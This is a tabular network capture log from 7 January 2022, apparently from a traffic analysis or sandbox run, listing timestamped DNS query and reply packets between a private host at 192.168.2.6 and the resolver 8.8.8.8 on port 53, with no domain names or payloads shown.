Jan 7, 2022 15:43:20.412925959 CET	63218	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.438932896 CET	49605	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.457793951 CET	53	49605	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.464194059 CET	53	63218	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.626142025 CET	51176	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.680068970 CET	53	51176	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.683140039 CET	61121	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.710258007 CET	53	61121	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.712779045 CET	57264	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.752810001 CET	53	57264	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.755891085 CET	61165	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.795383930 CET	53	61165	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.800452948 CET	58199	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.827868938 CET	53	58199	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.831774950 CET	52441	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.857055902 CET	53	52441	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.876264095 CET	49504	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.895095110 CET	53	49504	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:21.860972881 CET	59895	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:21.895265102 CET	53	59895	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:21.913419962 CET	58852	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:21.933839083 CET	53	58852	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:22.360483885 CET	59404	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:22.376982927 CET	53	59404	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:22.379381895 CET	58796	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:22.405134916 CET	53	58796	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:23.111164093 CET	60134	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:23.147618055 CET	53	60134	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:23.149930000 CET	59101	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:23.169186115 CET	53	59101	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:24.096879959 CET	49982	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:24.113816977 CET	53	49982	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:24.118719101 CET	54903	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:24.135274887 CET	53	54903	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:25.173955917 CET	56555	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:25.220788956 CET	53	56555	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:25.376496077 CET	54076	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:25.393148899 CET	53	54076	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:25.398766994 CET	60588	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:25.417416096 CET	53	60588	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:25.836107969 CET	60130	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:25.855621099 CET	53	60130	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:26.370434046 CET	61667	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:26.403340101 CET	53	61667	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:27.219167948 CET	49486	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:27.281732082 CET	53	49486	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:28.107445955 CET	56573	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:28.130152941 CET	53	56573	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:29.361351967 CET	60976	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:29.380008936 CET	53	60976	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:29.539760113 CET	60135	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:29.558919907 CET	53	60135	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:30.558710098 CET	64851	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:30.576371908 CET	53	64851	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:31.803256035 CET	60353	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:31.822283030 CET	53	60353	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:31.862652063 CET	54546	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:31.881422043 CET	53	54546	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:37.152224064 CET	52888	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:37.172574997 CET	53	52888	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:37.175035954 CET	55676	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:37.195527077 CET	53	55676	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:38.881272078 CET	64931	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:38.899719954 CET	53	64931	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:38.901932001 CET	64018	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:38.920679092 CET	53	64018	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:39.535157919 CET	63373	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:39.552079916 CET	53	63373	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:39.558978081 CET	49673	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:39.576306105 CET	53	49673	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.214488983 CET	51196	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.231415033 CET	53	51196	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.239933014 CET	51780	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.256747961 CET	53	51780	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.295135975 CET	57670	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.322357893 CET	53	57670	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.362339973 CET	57902	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.381088972 CET	53	57902	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.383927107 CET	54402	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.402348995 CET	53	54402	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.407999039 CET	50519	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.413594007 CET	54651	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.426695108 CET	53	50519	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.440916061 CET	53	54651	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.900885105 CET	55624	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.919116974 CET	53	55624	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:40.925493002 CET	60278	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:40.944217920 CET	53	60278	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:41.125257969 CET	60448	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:41.143821001 CET	53	60448	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:41.629188061 CET	56074	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:41.637233973 CET	54032	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:41.648205042 CET	53	56074	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:41.651644945 CET	56162	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:41.656269073 CET	53	54032	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:41.668318987 CET	53	56162	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:41.690903902 CET	64456	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:41.724622011 CET	53	64456	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:41.758630037 CET	64211	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:41.777298927 CET	53	64211	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:42.112493992 CET	56713	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:42.171278954 CET	53	56713	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:42.191052914 CET	62577	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:42.218291044 CET	53	62577	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:42.237344027 CET	56239	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:42.258280993 CET	53	56239	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:42.269172907 CET	57579	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:42.287950039 CET	53	57579	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:42.300817966 CET	53771	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:42.341721058 CET	53	53771	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:42.346142054 CET	58959	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:42.385498047 CET	53	58959	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:42.404360056 CET	62106	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:42.445426941 CET	53	62106	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.128767014 CET	61477	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.148037910 CET	53	61477	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.158951044 CET	60452	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.159605026 CET	54385	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.177146912 CET	53	60452	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.180691004 CET	53	54385	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.180948019 CET	49360	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.190839052 CET	64412	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.209125996 CET	53	49360	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.256201029 CET	53	64412	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.265500069 CET	60011	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.329541922 CET	53	60011	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.345665932 CET	64446	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.364165068 CET	53	64446	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.377407074 CET	50196	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.426482916 CET	53	50196	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.481628895 CET	52534	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.517576933 CET	53	52534	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.520895004 CET	65488	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.540190935 CET	53	65488	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.628204107 CET	52066	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.646830082 CET	53	52066	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.660595894 CET	58506	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.681915998 CET	53	58506	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.708869934 CET	54318	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.736704111 CET	53	54318	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.744235992 CET	51779	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.764801979 CET	53	51779	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.768249035 CET	58140	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.786154985 CET	53	58140	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.790359974 CET	50753	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.808969021 CET	53	50753	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.811547995 CET	49694	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.831273079 CET	53	49694	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:43.835968018 CET	60844	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:43.855161905 CET	53	60844	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:44.317611933 CET	64162	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:44.338356018 CET	53	64162	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:44.347033024 CET	52743	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:44.393358946 CET	53	52743	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:44.410175085 CET	52507	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:44.429124117 CET	53	52507	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:44.432987928 CET	60691	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:44.450201988 CET	53	60691	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:44.462632895 CET	63260	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:44.481836081 CET	53	63260	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.173934937 CET	56957	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.190388918 CET	53	56957	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.192481041 CET	53744	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.210923910 CET	53	53744	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.534399986 CET	53951	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.552998066 CET	53	53951	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.565864086 CET	59507	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.586337090 CET	53	59507	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.596981049 CET	53844	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.633491993 CET	53	53844	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.644890070 CET	55284	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.668603897 CET	53	55284	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.673516989 CET	56753	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.691725969 CET	53	56753	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.800374985 CET	64566	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.834711075 CET	53	64566	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.837215900 CET	62443	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.877331972 CET	53	62443	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:45.880819082 CET	60044	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:45.899678946 CET	53	60044	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:49.038301945 CET	56013	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:49.116986990 CET	53	56013	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:49.301280022 CET	57580	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:49.318250895 CET	53	57580	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:49.323765993 CET	60228	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:49.340826988 CET	53	60228	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:49.848984957 CET	54224	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:49.888250113 CET	53	54224	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:49.907402039 CET	51767	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:49.958488941 CET	53	51767	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:50.892600060 CET	63865	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:50.911520958 CET	53	63865	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:52.678565025 CET	52860	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:52.736759901 CET	53	52860	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:52.968310118 CET	60559	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:52.987056971 CET	53	60559	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:54.147964001 CET	51475	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:54.168574095 CET	53	51475	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:56.166539907 CET	49330	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:56.173378944 CET	65230	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:56.183630943 CET	53	49330	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:56.192255020 CET	53	65230	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:56.759716988 CET	58203	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:56.776370049 CET	53	58203	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.118297100 CET	50808	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.137142897 CET	53	50808	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.139385939 CET	56185	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.166587114 CET	53	56185	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.568048000 CET	59765	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.611324072 CET	53	59765	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.613672972 CET	54507	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.632824898 CET	53	54507	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.635853052 CET	51524	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.654737949 CET	53	51524	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.656919003 CET	49796	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.674128056 CET	53	49796	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.676279068 CET	50208	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.694847107 CET	53	50208	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.698309898 CET	63340	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.715524912 CET	53	63340	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.948753119 CET	54171	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.969388962 CET	53	54171	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:57.971618891 CET	60176	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:57.992831945 CET	53	60176	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:59.819438934 CET	60430	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:59.942054033 CET	53	60430	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:59.945239067 CET	63627	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:59.961667061 CET	53	63627	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:59.964792967 CET	58121	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:59.983695984 CET	53	58121	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:59.985866070 CET	58979	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:00.002700090 CET	53	58979	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:00.004941940 CET	62045	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:00.021301985 CET	53	62045	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:00.023852110 CET	63449	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:00.048568964 CET	53	63449	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:00.749862909 CET	53581	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:00.768568993 CET	53	53581	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:00.770840883 CET	56403	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:00.789392948 CET	53	56403	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:01.202178001 CET	51014	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:01.232944965 CET	53	51014	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:01.253180981 CET	49386	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:01.272568941 CET	53	49386	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:01.290532112 CET	50737	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:01.309362888 CET	53	50737	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:01.322897911 CET	58227	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:01.361643076 CET	53	58227	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:01.364063025 CET	50268	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:01.407078028 CET	53	50268	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:01.409646034 CET	57962	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:01.451519012 CET	53	57962	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:01.461117983 CET	64168	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:01.480477095 CET	53	64168	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:02.093135118 CET	57827	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:02.114403963 CET	53	57827	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:02.119108915 CET	52135	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:02.138149023 CET	53	52135	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:02.149952888 CET	55624	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:02.192102909 CET	53	55624	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:02.195425987 CET	52263	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:02.215380907 CET	53	52263	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.015481949 CET	59643	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.051845074 CET	53	59643	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.057224989 CET	55307	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.076312065 CET	53	55307	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.165369034 CET	62257	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.186089039 CET	53	62257	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.202697992 CET	58919	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.220568895 CET	49241	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.221729040 CET	53	58919	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.228105068 CET	54426	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.242810011 CET	53	49241	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.256879091 CET	53	54426	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.259582043 CET	60230	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.276210070 CET	53	60230	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.279690027 CET	52983	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.296529055 CET	53	52983	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.298716068 CET	53443	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.317290068 CET	53	53443	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.336478949 CET	52340	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.354451895 CET	53	52340	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.356969118 CET	63580	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.375797987 CET	53	63580	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.936980963 CET	60264	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.955955982 CET	53	60264	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.962876081 CET	53562	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:03.981851101 CET	53	53562	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:03.993822098 CET	60111	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.012676954 CET	53	60111	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.014892101 CET	63035	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.036412001 CET	53	63035	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.039742947 CET	59412	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.056899071 CET	53	59412	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.109380960 CET	57026	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.128341913 CET	53	57026	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.323685884 CET	58639	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.388688087 CET	53	58639	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.392168045 CET	51663	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.421479940 CET	53	51663	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.425091028 CET	58383	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.442169905 CET	53	58383	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.445502043 CET	58214	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.464159966 CET	53	58214	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.467199087 CET	62935	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.485850096 CET	53	62935	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.488101006 CET	60442	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.507029057 CET	53	60442	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.510410070 CET	52693	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.517729998 CET	59040	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.529195070 CET	53	52693	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.534832001 CET	63992	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.552632093 CET	53	59040	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.554413080 CET	53	63992	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.556199074 CET	62888	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.558319092 CET	58503	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.575015068 CET	53	62888	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.577081919 CET	53	58503	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.588345051 CET	62325	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.608066082 CET	53	62325	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.618719101 CET	56891	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.638967037 CET	53	56891	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.643781900 CET	63593	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.661128998 CET	53	63593	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.734097004 CET	57885	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.753379107 CET	53	57885	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.755542040 CET	62480	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.790009975 CET	53	62480	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:04.792331934 CET	51992	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:04.811881065 CET	53	51992	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:05.081171036 CET	63796	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:05.187119007 CET	53	63796	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:05.197699070 CET	60276	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:05.220417023 CET	53	60276	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:05.223171949 CET	50827	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:05.246975899 CET	53	50827	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.515991926 CET	51833	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.532825947 CET	53	51833	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.541315079 CET	54846	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.559876919 CET	53	54846	8.8.8.8	192.168.2.6
